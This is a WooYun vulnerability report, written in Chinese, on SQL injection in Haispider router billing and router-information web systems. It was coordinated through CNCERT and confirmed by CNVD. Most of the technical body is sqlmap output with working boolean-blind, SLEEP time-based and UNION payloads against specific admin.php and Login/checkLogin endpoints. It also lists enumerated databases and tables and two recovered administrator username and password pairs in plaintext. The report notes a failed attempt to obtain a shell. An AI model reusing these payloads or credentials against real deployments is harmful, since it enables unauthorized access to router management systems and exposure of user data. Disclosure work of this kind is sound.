当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0207315

漏洞标题:wifi安全之海蜘蛛多处SQL注入打包(影响大量路由器)

相关厂商:武汉海蜘蛛网络科技有限公司

漏洞作者: 千机

提交时间:2016-05-11 13:10

修复时间:2016-06-27 18:20

公开时间:2016-06-27 18:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-11: 细节已通知厂商并且等待厂商处理中
2016-05-13: 厂商已经确认,细节仅向厂商公开
2016-05-23: 细节向核心白帽子及相关领域专家公开
2016-06-02: 细节向普通白帽子公开
2016-06-12: 细节向实习白帽子公开
2016-06-27: 细节向公众公开

简要描述:

武汉海蜘蛛网络科技有限公司成立于2005年,是一家专注于网络新技术研发及应用的高科技企业,是知名的专业路由系统提供商。
几年来,公司先后参与多项国家重大项目,取得数十项自主知识产权,业界成绩不仅得到国家科技部重点关注,同时也赢得社会多家风险投资机构关注,在中国软路由行业具有较大影响力,并处于“领跑者”身份,市场前景无限。

● 国家级高新技术企业
● 国家科技部创新基金项目支持单位
● 获国家公安部计算机信息系统安全专用产品销售许可证
● 武汉市科技局创新基金项目支持单位
● 获数十项知识产权
● “海蜘蛛”被评为武汉市著名商标
● 全国超300家代理商
● “英特尔”战略合作伙伴
● 中国电信战略合作伙伴
● 中国移动战略合作伙伴

详细说明:

https://**.**.**.**/demo.htm


这个貌似是个demo演示的网站,这里提供了一个认证计费系统演示地址的后台登陆账号密码。
于是进去看看,就发现了sql注入
注入存在于查询用户处

http://**.**.**.**:80/admin.php/User/index/texttype/username/text/11* (GET)


---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://**.**.**.**:80/admin.php/User/index/texttype/username/text/11%' AND 1088=1088 AND '%'='
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://**.**.**.**:80/admin.php/User/index/texttype/username/text/11%' AND (SELECT * FROM (SELECT(SLEEP(5)))RkuO) AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: http://**.**.**.**:80/admin.php/User/index/texttype/username/text/11%' UNION ALL SELECT NULL,CONCAT(0x71706a7a71,0x55796e7749487a486c52635342455759514b6e595149774a514d63586c4f47624c494e5344574b51,0x716a6b6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
back-end DBMS: MySQL 5.0.12
banner: '5.1.45'


影响5个数据库,root权限,,shell没成功。。

available databases [5]:
[*] bak
[*] information_schema
[*] mysql
[*] radius
[*] test


这个查询的地方同样存在着注入

211.png


212.png


这个后台应该挺多注入的。随便找两个就找到了。其他的自查吧
另一处存在于海蜘蛛路由信息系统

http://**.**.**.**/index.php/Login


在登陆处存在sql注入

http://**.**.**.**:80/index.php/Login/checkLogin (POST)
name=admin&password=admin&verify=3832


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: name=admin' AND (SELECT * FROM (SELECT(SLEEP(5)))kdKR) AND 'AYlD'='AYlD&password=admin&verify=3832
---
web application technology: PHP 5.2.17
back-end DBMS: MySQL 5.0.12
current database: 'hsrouter'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: name=admin' AND (SELECT * FROM (SELECT(SLEEP(5)))kdKR) AND 'AYlD'='AYlD&password=admin&verify=3832
---


影响19个数据库

[*] bak
[*] bak2
[*] bak_operate
[*] forumx2
[*] hs_spider
[*] hsrouter
[*] hsrouterinfo
[*] information_schema
[*] lottery
[*] my_wiki
[*] mysql
[*] operate
[*] radius
[*] radiuscloud
[*] registration
[*] test
[*] tipask
[*] tomreport
[*] ucenter


radius就是刚才的那个认证计费系统的数据库
wiki应该是内部wiki的数据库
UCenter就应该是bbs的数据库了。
当前的数据库是hsrouter

Database: hsrouter
+----------+---------+
| Table | Entries |
+----------+---------+
| register | 117962 |
| try | 7732 |
| try_max | 624 |
| host_max | 576 |
| industry | 33 |
| `user` | 2 |
+----------+---------+


11w的这个不知道是不是路由器的数量
密码存在user表中,读取出数据,
账号密码为

thx   123456
hispider hzz123456


213.png


在线路由器9741个。。
泄露了编号ip及地址

214.png


215.png

漏洞证明:

215.png

修复方案:

改改改

版权声明:转载请注明来源 千机@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-05-13 18:19

厂商回复:

CNVD确认并复现所述情况,已经由CNVD通过网站公开联系方式向网站管理单位通报。

最新状态:

暂无


漏洞评价:

评价